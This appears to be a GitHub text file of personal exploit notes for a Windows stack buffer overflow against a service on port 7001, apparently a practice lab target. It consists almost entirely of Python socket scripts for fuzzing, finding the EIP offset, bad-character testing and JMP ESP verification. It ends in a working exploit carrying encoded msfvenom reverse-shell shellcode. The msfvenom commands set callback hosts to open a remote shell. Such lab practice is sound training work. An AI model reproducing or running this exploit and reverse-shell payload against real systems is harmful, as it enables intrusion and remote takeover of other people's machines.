-
Notifications
You must be signed in to change notification settings - Fork 4
/
SquidsSimpleWriteup.txt
196 lines (177 loc) · 9.57 KB
/
SquidsSimpleWriteup.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
################################################################################
#Fuzz and Overwrite EIP
################################################################################
#!/usr/bin/python
import socket
import time
"""
buffer = []
buffer.append("A")
counter = 100
while len(buffer) <= 81:
Add2Buff = "A" * counter
buffer.append(Add2Buff)
counter = counter + 200
"""
a = 2560
a = "A" * 2558
buffer = [a]
for string in buffer:
print("Fuzzing PASS with {} bytes".format(len(string)))
#begins the process of opening a normal socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.167.10", 7001))
s.send(string)
s.close()
time.sleep(2)
################################################################################
#Find EIP location/offset
################################################################################
#/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l
#/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q
#!/usr/bin/python
import socket
string ="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae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.10", 7001))
s.send(string)
s.close()
################################################################################
#Confirm EIP location/offset
################################################################################
#!/usr/bin/python
import socket
a = "A" * 2288
b = "B" * 4
c = "C" * 4
string = a + b + c
#begins the process of opening a normal socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.167.10", 7001))
s.send(string)
s.close()
################################################################################
#Find Size of writeable space
################################################################################
#!/usr/bin/python
import socket
a = "A" * 2288
b = "B" * 4
c = "C" * 2000
string = a + b + c
#begins the process of opening a normal socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.167.10", 7001))
s.send(string)
s.close()
################################################################################
#Find BadChars, then find JMP ESP
################################################################################
#1.
#!mona jmp -r esp -cpb “\x00\x0A” << bad charachters
# ^^^ may lead you right to it
#2.
#!mona modules
# look for a .exe or dll with ASLR, DEP, and Rebase disabled. (ALso no bad chars in the address)
# !mona find -s “\xff\xe4” -m yeet.dll
# ^^^Look at address
#3.
#ctrl f in top left pane for JMP ESP
#!/usr/bin/python
import socket
a = "A" * 2288
b = "B" * 4
c = ""
cl = []
badchar = [0x00]
for ch in range (0x00 , 0xFF+1):
if ch not in badchar:
cl.append(chr(ch))
for i in cl:
c += i
string = a + b + c
#begins the process of opening a normal socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.167.10", 7001))
s.send(string)
s.close()
################################################################################
#Verify Jmp ESP Functionality
################################################################################
#!/usr/bin/python
import socket
a = "A" * 2288
b = "\xcf\x10\x80\x14"
c = "C" * 20
string = a + b + c
#begins the process of opening a normal socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.167.10", 7001))
s.send(string)
s.close()
################################################################################
#Exloit the mofo
################################################################################
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.167 LPORT=443 -f c -a x86 --platform windows -b \\x00 -e x86/alpha_upper > payload.txt
#msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 EXITFUNC= thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\3d"
#!/usr/bin/python
import socket
a = "A" * 2288
b = "\xcf\x10\x80\x14"
c = (
"\x89\xe3\xd9\xed\xd9\x73\xf4\x5b\x53\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4d\x52\x55\x50"
"\x33\x30\x45\x50\x33\x50\x4b\x39\x4d\x35\x50\x31\x4f\x30\x32"
"\x44\x4c\x4b\x30\x50\x50\x30\x4c\x4b\x56\x32\x34\x4c\x4c\x4b"
"\x36\x32\x52\x34\x4c\x4b\x34\x32\x46\x48\x44\x4f\x48\x37\x51"
"\x5a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x47\x4c\x35\x31\x53\x4c"
"\x54\x42\x56\x4c\x31\x30\x39\x51\x38\x4f\x44\x4d\x45\x51\x58"
"\x47\x4d\x32\x4b\x42\x30\x52\x36\x37\x4c\x4b\x30\x52\x44\x50"
"\x4c\x4b\x51\x5a\x47\x4c\x4c\x4b\x50\x4c\x42\x31\x54\x38\x4a"
"\x43\x37\x38\x43\x31\x38\x51\x30\x51\x4c\x4b\x56\x39\x57\x50"
"\x53\x31\x49\x43\x4c\x4b\x31\x59\x34\x58\x4a\x43\x57\x4a\x50"
"\x49\x4c\x4b\x30\x34\x4c\x4b\x43\x31\x48\x56\x56\x51\x4b\x4f"
"\x4e\x4c\x4f\x31\x38\x4f\x34\x4d\x33\x31\x58\x47\x36\x58\x4d"
"\x30\x52\x55\x4c\x36\x35\x53\x33\x4d\x5a\x58\x57\x4b\x43\x4d"
"\x37\x54\x34\x35\x4b\x54\x51\x48\x4c\x4b\x50\x58\x36\x44\x53"
"\x31\x58\x53\x35\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x31\x48"
"\x35\x4c\x55\x51\x4e\x33\x4c\x4b\x43\x34\x4c\x4b\x53\x31\x48"
"\x50\x4b\x39\x57\x34\x51\x34\x47\x54\x51\x4b\x31\x4b\x45\x31"
"\x31\x49\x51\x4a\x56\x31\x4b\x4f\x4d\x30\x31\x4f\x51\x4f\x31"
"\x4a\x4c\x4b\x32\x32\x5a\x4b\x4c\x4d\x31\x4d\x32\x48\x47\x43"
"\x47\x42\x53\x30\x55\x50\x45\x38\x34\x37\x53\x43\x37\x42\x31"
"\x4f\x31\x44\x42\x48\x30\x4c\x44\x37\x51\x36\x53\x37\x4b\x4f"
"\x58\x55\x58\x38\x5a\x30\x45\x51\x45\x50\x45\x50\x47\x59\x38"
"\x44\x30\x54\x36\x30\x33\x58\x31\x39\x4b\x30\x52\x4b\x33\x30"
"\x4b\x4f\x48\x55\x56\x30\x46\x30\x30\x50\x30\x50\x51\x50\x30"
"\x50\x47\x30\x56\x30\x52\x48\x4a\x4a\x54\x4f\x59\x4f\x4b\x50"
"\x4b\x4f\x4e\x35\x4d\x47\x33\x5a\x34\x45\x53\x58\x39\x50\x49"
"\x38\x53\x47\x59\x37\x55\x38\x44\x42\x45\x50\x35\x51\x4f\x4b"
"\x4c\x49\x4b\x56\x32\x4a\x32\x30\x31\x46\x50\x57\x33\x58\x5a"
"\x39\x49\x35\x54\x34\x35\x31\x4b\x4f\x38\x55\x4c\x45\x39\x50"
"\x54\x34\x34\x4c\x4b\x4f\x30\x4e\x45\x58\x52\x55\x5a\x4c\x32"
"\x48\x4a\x50\x38\x35\x59\x32\x36\x36\x4b\x4f\x38\x55\x52\x48"
"\x33\x53\x42\x4d\x35\x34\x55\x50\x4c\x49\x5a\x43\x56\x37\x30"
"\x57\x31\x47\x56\x51\x5a\x56\x43\x5a\x54\x52\x50\x59\x56\x36"
"\x5a\x42\x4b\x4d\x52\x46\x58\x47\x47\x34\x31\x34\x57\x4c\x55"
"\x51\x33\x31\x4c\x4d\x47\x34\x37\x54\x52\x30\x4f\x36\x35\x50"
"\x37\x34\x56\x34\x36\x30\x56\x36\x50\x56\x51\x46\x47\x36\x31"
"\x46\x50\x4e\x50\x56\x51\x46\x31\x43\x31\x46\x33\x58\x43\x49"
"\x58\x4c\x57\x4f\x4d\x56\x4b\x4f\x49\x45\x4c\x49\x4d\x30\x30"
"\x4e\x36\x36\x50\x46\x4b\x4f\x50\x30\x45\x38\x54\x48\x4d\x57"
"\x35\x4d\x35\x30\x4b\x4f\x58\x55\x4f\x4b\x4c\x30\x4e\x55\x39"
"\x32\x51\x46\x43\x58\x39\x36\x4d\x45\x4f\x4d\x4d\x4d\x4b\x4f"
"\x49\x45\x37\x4c\x44\x46\x33\x4c\x34\x4a\x4b\x30\x4b\x4b\x4b"
"\x50\x54\x35\x55\x55\x4f\x4b\x50\x47\x52\x33\x53\x42\x52\x4f"
"\x42\x4a\x45\x50\x50\x53\x4b\x4f\x58\x55\x41\x41"
)
string = a + b + ("\x90" * 20) + c + ("\x90" * 20)
#begins the process of opening a normal socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.167.10", 7001))
s.send(string)
s.close()